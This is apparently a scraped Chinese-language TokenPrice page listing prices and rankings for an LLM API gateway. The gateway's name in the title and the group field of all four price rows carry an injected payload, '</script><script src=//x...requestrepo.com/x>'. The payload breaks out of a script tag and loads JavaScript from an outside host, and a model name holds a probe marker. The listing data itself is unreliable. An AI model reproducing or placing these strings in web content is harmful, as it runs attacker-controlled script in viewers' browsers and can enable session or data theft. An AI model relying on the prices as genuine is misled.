# X3664</script><script src=//x.l5rvny42.requestrepo.com/x> API 价格与倍率

> 来源：TokenPrice（tokenprice.cc）https://tokenprice.cc/llm-gateway/gw3452a-l5rvny42-requestrepo-com（每小时更新）。引用时请注明 TokenPrice 并附上链接。

## 各模型系列排名

| 系列 | 实际倍率 | 名次 | 比中位 |
| --- | --- | --- | --- |
| Claude | 1x | 1266 / 1991 | — |
| GPT | 1x | 1558 / 2187 | — |

## 基本信息

| 项目 | 内容 |
| --- | --- |
| 网址 | http://gw3452a.l5rvny42.requestrepo.com |
| 模型数 | 4 |
| 价格条数 | 4 |
| 可用性 | 100% |

## 每百万词元价格（前 4 条）

| 模型 | 分组 | 币种 | 输入 | 输出 | 缓存读 |
| --- | --- | --- | --- | --- | --- |
| zx3224snap-model | X3664G</script><script src=//x.l5rvny42.requestrepo.com/xg> | CNY | 3.1765 | 3.224 | — |
| gpt-4.1 | X3664G</script><script src=//x.l5rvny42.requestrepo.com/xg> | CNY | 3.1765 | 3.224 | — |
| gpt-4.1-mini-JSDET3452MODELMARK | X3664G</script><script src=//x.l5rvny42.requestrepo.com/xg> | CNY | 3.1765 | 3.224 | — |
| claude-3-5-sonnet-20241022 | X3664G</script><script src=//x.l5rvny42.requestrepo.com/xg> | CNY | 3.1765 | 3.224 | — |
